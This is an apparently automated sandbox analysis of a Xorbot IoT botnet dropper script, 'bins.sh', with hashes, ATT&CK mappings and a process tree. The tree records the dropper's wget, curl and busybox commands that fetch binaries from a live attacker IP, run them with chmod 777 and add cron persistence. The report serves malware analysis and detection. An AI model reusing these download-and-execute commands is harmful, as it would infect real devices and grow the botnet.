xorbot | 32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

Analysis

max time kernel
139s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-12-2024 06:31

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General

Target

bins.sh
Size

10KB
MD5

3ec05170856171325b0751f5ea6d0ce2
SHA1

1d4812ade6ba446cda12ccab01c5cf5f56d59f0d
SHA256

32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e
SHA512

8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f
SSDEEP

96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2195) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1510	chmod

Executes dropped EXE 1 IoCs

Processes:

znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

ioc	pid	Process
/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	1511	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Renames itself 1 IoCs

Processes:

znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

pid	Process
1512	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.XG8KIz	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

description	ioc	Process
File opened for reading	/proc/30/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/170/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1153/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1526/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1540/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1554/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1669/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/496/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1139/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1190/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1584/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1591/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1596/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1636/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1664/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1672/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/673/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1029/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1582/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1687/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1689/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/17/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1480/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1645/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1657/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1676/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1696/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/242/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/516/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/545/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/966/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1090/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1345/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1532/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1542/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1610/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1643/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/518/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/969/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1236/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1650/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1655/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1663/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/13/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/428/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/495/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/608/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1605/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1607/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1632/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1644/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1651/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/81/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1049/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1252/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1289/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1548/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1581/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/18/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1521/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1599/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1679/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/8/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/177/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	wget
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	curl
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1494
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/chmod
  chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1511
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1513
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1515
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1517
- /bin/rm
  rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  PID:1522

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.XG8KIz

Filesize
210B

MD5
f99f3feb7028f7c468677548099fcdab

SHA1
8519ea190a063c540ccf2927e08b3b247d662bbe

SHA256
2b541026fb8ac2bb7a4e25d087b3ee5ff504411b9fb217aad544ba8619a2ae3a

SHA512
c4c0411ceacb571ef9b302f8f35abd13bf04bef1410859951d19b70fe18b01c65cd638cd94b1487e29a14bc35f5f9103f02778e092f39601caad12f5fd6fc37f

Download Submit